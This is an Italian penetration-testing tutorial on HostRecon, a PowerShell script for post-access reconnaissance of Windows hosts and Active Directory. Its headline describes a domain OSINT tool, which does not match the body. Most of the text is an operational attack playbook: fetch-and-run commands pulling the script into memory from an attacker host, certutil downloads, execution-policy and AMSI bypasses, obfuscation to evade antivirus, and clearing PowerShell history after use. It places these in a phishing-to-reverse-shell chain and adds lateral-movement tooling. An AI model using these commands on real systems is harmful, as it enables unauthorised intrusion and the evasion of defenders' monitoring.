HostRecon: Reconnaissance Automatica OSINT su Target Singoli

HostRecon automatizza OSINT e reconnaissance su singolo dominio: DNS, whois, subdomain, breach data e exposure mapping in un solo comando.
- Pubblicato il 2026-02-14
- Tempo di lettura: 5 min
HostRecon è uno script PowerShell per situational awareness su sistemi Windows, progettato per raccogliere rapidamente informazioni sull’host locale e il contesto Active Directory. A differenza di tool focalizzati su privilege escalation, HostRecon si concentra sulla comprensione dell’ambiente: chi sono, dove sono, cosa posso raggiungere. In questa guida impari a usare HostRecon per orientarti dopo aver ottenuto accesso iniziale.
Posizione nella Kill Chain #
HostRecon interviene immediatamente dopo l’initial access per situational awareness:
Initial Access → [HOSTRECON] → Environment Understanding → Targeted Enumeration → Exploitation1️⃣ Setup e Installazione #
Download #
# Clone repository
git clone https://github.com/dafthack/HostRecon.git
# Download diretto
wget https://raw.githubusercontent.com/dafthack/HostRecon/master/HostRecon.ps1Trasferimento su Target #
# Download in memoria
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.50/HostRecon.ps1')
# Via certutil
certutil -urlcache -split -f http://192.168.1.50/HostRecon.ps1 C:\Windows\Temp\hr.ps1Verifica Funzionamento #
powershell -ep bypass
Import-Module .\HostRecon.ps1
Invoke-HostReconOutput atteso:
====================================================
HostRecon - Host Reconnaissance Script
https://github.com/dafthack/HostRecon
====================================================
[*] Gathering System Information...Requisiti #
- PowerShell 2.0+
- Funziona come user standard
- Windows 7+ / Server 2008+
- Active Directory environment (per alcune feature)
2️⃣ Uso Base #
Esecuzione Standard #
Import-Module .\HostRecon.ps1
Invoke-HostReconOutput su File #
Invoke-HostRecon | Out-File C:\Windows\Temp\hostrecon.txtEsecuzione in Memoria #
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.50/HostRecon.ps1'); Invoke-HostReconSezioni dell’Output #
| Sezione | Contenuto |
|---|---|
| System Info | OS, hostname, domain membership |
| Current User | Username, groups, privileges |
| Local Users/Groups | Account locali |
| Domain Info | DC, domain name, trust |
| Network | IP, DNS, routes |
| Software | Software installato |
| Shares | Share di rete |
| Security | AV, firewall status |
3️⃣ Tecniche Operative #
System Information Gathering #
Invoke-HostReconOutput:
====================================================
SYSTEM INFORMATION
====================================================
[+] Hostname: WORKSTATION01
[+] Domain: CORP.LOCAL
[+] OS: Microsoft Windows 10 Enterprise
[+] OS Build: 10.0.19041
[+] Architecture: AMD64
[+] System Directory: C:\Windows\system32
[+] Boot Time: 01/15/2024 08:30:00Current User Context #
Output:
====================================================
CURRENT USER CONTEXT
====================================================
[+] Current User: CORP\john.doe
[+] User SID: S-1-5-21-123456789-...
[+] Group Memberships:
- CORP\Domain Users
- CORP\IT-Support
- CORP\VPN-Users
- BUILTIN\Remote Desktop Users
[+] Privileges:
- SeChangeNotifyPrivilege
- SeIncreaseWorkingSetPrivilegeDomain Information #
====================================================
DOMAIN INFORMATION
====================================================
[+] Domain: CORP.LOCAL
[+] Domain Controller: DC01.CORP.LOCAL
[+] DC IP: 10.10.10.10
[+] Forest: CORP.LOCAL
[+] Domain Trusts:
- PARTNER.LOCAL (Bidirectional)Network Reconnaissance #
====================================================
NETWORK INFORMATION
====================================================
[+] IP Addresses:
- 192.168.1.100 (Ethernet0)
- 10.10.10.50 (VPN)
[+] DNS Servers:
- 10.10.10.10
- 10.10.10.11
[+] Network Shares Discovered:
- \\DC01\SYSVOL
- \\DC01\NETLOGON
- \\FILESERVER\shared$4️⃣ Tecniche Avanzate #
Correlazione con BloodHound #
Usa info HostRecon per targeted BloodHound collection:
# HostRecon identifica domain e DC
# Usa info per BloodHound
Invoke-BloodHound -CollectionMethod All -Domain CORP.LOCAL -DomainController DC01.CORP.LOCALIntegration con CrackMapExec #
# HostRecon trova subnet e trust
# Usa per targeted enumeration
proxychains crackmapexec smb 10.10.10.0/24 -u john.doe -p "password"Active Directory Mapping #
# Dopo HostRecon, approfondisci con PowerView
Import-Module PowerView.ps1
Get-DomainController
Get-DomainTrust
Get-DomainComputer -Properties name,operatingsystem5️⃣ Scenari Pratici di Pentest #
Scenario 1: Initial Situational Awareness #
Timeline: 5 minuti
Hai appena ottenuto shell, devi capire dove sei.
# COMANDO
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.50/HostRecon.ps1'); Invoke-HostReconOUTPUT ATTESO #
====================================================
SYSTEM INFORMATION
====================================================
[+] Hostname: WS-FINANCE01
[+] Domain: CORP.LOCAL
[+] Current User: CORP\finance.user
====================================================
DOMAIN INFORMATION
====================================================
[+] Domain Controller: DC01.CORP.LOCAL (10.10.10.10)
====================================================
NETWORK INFORMATION
====================================================
[+] Internal Networks:
- 192.168.1.0/24 (Workstations)
- 10.10.10.0/24 (Servers)COSA FARE SE FALLISCE #
- Execution Policy: Usa
-ep bypasso esegui inline con IEX. - Module non caricato: Verifica download completo dello script.
- Domain info vuoto: Host non in dominio o utente locale.
Scenario 2: Identify High-Value Targets #
Timeline: 10 minuti
# COMANDO
Invoke-HostRecon | Select-String -Pattern "Domain Controller|Admin|Server"OUTPUT ATTESO #
[+] Domain Controller: DC01.CORP.LOCAL
[+] Domain Controller: DC02.CORP.LOCAL
[+] Group Memberships:
- CORP\IT-Admins (nested)COSA FARE SE FALLISCE #
- Poche info AD: L’utente ha visibilità limitata. Usa altri tool per enum.
Scenario 3: Pre-Lateral Movement Intel #
Timeline: 10 minuti
Prima di muoverti lateralmente, raccogli intel.
# COMANDO
Invoke-HostReconOUTPUT ATTESO #
====================================================
NETWORK SHARES
====================================================
[+] Accessible Shares:
\\FILESERVER\IT$ - Read/Write
\\FILESERVER\backup$ - Read
\\DC01\SYSVOL - Read
====================================================
SOFTWARE INVENTORY
====================================================
[+] Installed Software:
- Microsoft Office 365
- Cisco AnyConnect
- VMware Horizon Client
- PuTTYInfo utili: share scrivibili per payload, VPN client per pivot, PuTTY per credenziali salvate.
6️⃣ Toolchain Integration #
Flusso Operativo #
Initial Shell → HostRecon (awareness) → Seatbelt (security) → PowerView (AD) → BloodHound (path)Concatenazione Tool #
# Fase 1: HostRecon per overview
Invoke-HostRecon
# Fase 2: Seatbelt per security posture
Seatbelt.exe -group=user
# Fase 3: PowerView per AD deep dive
Get-DomainUser -AdminCount
Get-DomainGroup -AdminCount
# Fase 4: BloodHound per attack path
Invoke-BloodHound -CollectionMethod AllConfronto: HostRecon vs Alternative #
| Feature | HostRecon | Seatbelt | WinPEAS | PowerView |
|---|---|---|---|---|
| Focus | Awareness | Security | PrivEsc | AD |
| Domain Info | ✓ | Parziale | Parziale | ✓✓ |
| Local Enum | ✓ | ✓✓ | ✓✓ | Limitato |
| PrivEsc Checks | ✗ | ✓ | ✓✓ | ✗ |
| Stealth | Medio | Alto | Basso | Medio |
Quando usare HostRecon: Primo tool post-access per capire l’ambiente.
7️⃣ Attack Chain Completa #
Scenario: Initial Access to Domain Mapping #
Timeline totale: 30 minuti
Fase 1: Initial Access (5 min)
Phishing → Macro → Reverse shellFase 2: Situational Awareness (5 min)
# HostRecon per overview
IEX(New-Object Net.WebClient).DownloadString('http://attacker/HostRecon.ps1')
Invoke-HostReconOutput: CORP.LOCAL domain, DC01 at 10.10.10.10, user in IT-Support group.
Fase 3: Security Enumeration (10 min)
# Seatbelt per security posture
Seatbelt.exe -group=user
# Check AV/EDR
Invoke-HostRecon | Select-String "Antivirus|Defender|EDR"Fase 4: AD Enumeration (10 min)
# PowerView per dettagli AD
Import-Module PowerView.ps1
Get-DomainController
Get-DomainTrust
Get-DomainUser -AdminCount
Find-LocalAdminAccessRisultato: Mappa completa dell’ambiente, pronto per targeted attack.
8️⃣ Detection & Evasion #
Cosa Monitora il Blue Team #
| Indicator | Event/Log | Detection |
|---|---|---|
| PowerShell | 4104 | Script block logging |
| AD Queries | Directory Service | LDAP queries |
| Share enum | 5140/5145 | Network share access |
| Net commands | 4688 | Command execution |
Tecniche di Evasion #
1. AMSI Bypass
# Prima di caricare HostRecon
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$a.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)2. Obfuscation
# Invoke-Obfuscation su HostRecon.ps1
Invoke-Obfuscation -ScriptPath HostRecon.ps1 -Command "TOKEN\ALL\1"3. Esecuzione Frammentata
Esegui singole parti dello script invece dell’intero modulo.
Cleanup #
# Rimuovi script
Remove-Item C:\Windows\Temp\hr.ps1
# Clear history
Clear-History
Remove-Item (Get-PSReadlineOption).HistorySavePath9️⃣ Performance & Scaling #
Benchmark #
| Operazione | Tempo |
|---|---|
| Full HostRecon | ~15 sec |
| Con domain queries | ~30 sec |
| Network share enum | ~20 sec |
Multi-Target #
$targets = @("WS01", "WS02", "WS03")
foreach ($t in $targets) {
Invoke-Command -ComputerName $t -ScriptBlock {
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.50/HostRecon.ps1')
Invoke-HostRecon
} > "recon_$t.txt"
}Risorse #
- CPU: ~5% durante esecuzione
- RAM: ~40MB PowerShell
- Rete: Query AD e share enum
- Disco: ~20KB script
🔟 Tabelle Tecniche #
Info Raccolte da HostRecon #
| Categoria | Dettagli | Uso Offensive |
|---|---|---|
| System | OS, hostname, arch | Target profiling |
| User | Name, groups, SID | Privilege assessment |
| Domain | DC, trusts, forest | Attack scope |
| Network | IPs, DNS, routes | Lateral movement |
| Shares | Accessible shares | Data access |
| Software | Installed apps | Attack vectors |
| Security | AV, firewall | Evasion planning |
Confronto Awareness Tools #
| Feature | HostRecon | Seatbelt | WinPEAS | PowerView |
|---|---|---|---|---|
| System Info | ✓ | ✓ | ✓ | ✗ |
| Domain Info | ✓ | Parziale | Parziale | ✓✓ |
| Trust Enum | ✓ | ✗ | ✗ | ✓✓ |
| Network | ✓ | ✓ | ✓ | ✗ |
| Share Enum | ✓ | ✓ | ✓ | ✗ |
| AD Users | Limitato | ✗ | ✗ | ✓✓ |
1️⃣1️⃣ Troubleshooting #
Errore: “Execution Policy” #
# Fix
powershell -ep bypass
Import-Module .\HostRecon.ps1Domain Info Vuoto #
Host non è in dominio o utente è locale.
# Verifica
(Get-WmiObject Win32_ComputerSystem).PartOfDomainShare Enumeration Fallisce #
Permessi insufficienti o firewall.
Fix: Alcune share richiedono privilegi. Enum solo ciò che è accessibile.
Script Bloccato #
AV detection.
Fix: AMSI bypass o offusca lo script prima dell’upload.
1️⃣2️⃣ FAQ #
HostRecon vs Seatbelt?
HostRecon per situational awareness generale. Seatbelt per security-focused enumeration.
Funziona su host non in dominio?
Sì, ma le sezioni AD saranno vuote. Le info locali sono comunque raccolte.
Posso personalizzare i check?
Sì, è PowerShell. Modifica le funzioni secondo necessità.
È rilevato dagli AV?
Alcuni AV possono flaggare. Usa AMSI bypass o versione offuscata.
HostRecon enum altri host?
No, solo l’host locale. Per remote enum usa PowerView o CrackMapExec.
Quanto è rumoroso?
Medio. Genera query AD e share enum che possono essere loggati.
1️⃣3️⃣ Cheat Sheet #
| Operazione | Comando |
|---|---|
| Import module | Import-Module .\HostRecon.ps1 |
| Esecuzione | Invoke-HostRecon |
| In-memory | IEX(...); Invoke-HostRecon |
| Output file | Invoke-HostRecon | Out-File out.txt |
| Filtra output | Invoke-HostRecon | Select-String "Domain" |
| Bypass policy | powershell -ep bypass |
Uso consentito solo in ambienti autorizzati. Per penetration test professionali: hackita.it/servizi. Supporta HackIta: hackita.it/supporto.
Repository: dafthack/HostRecon







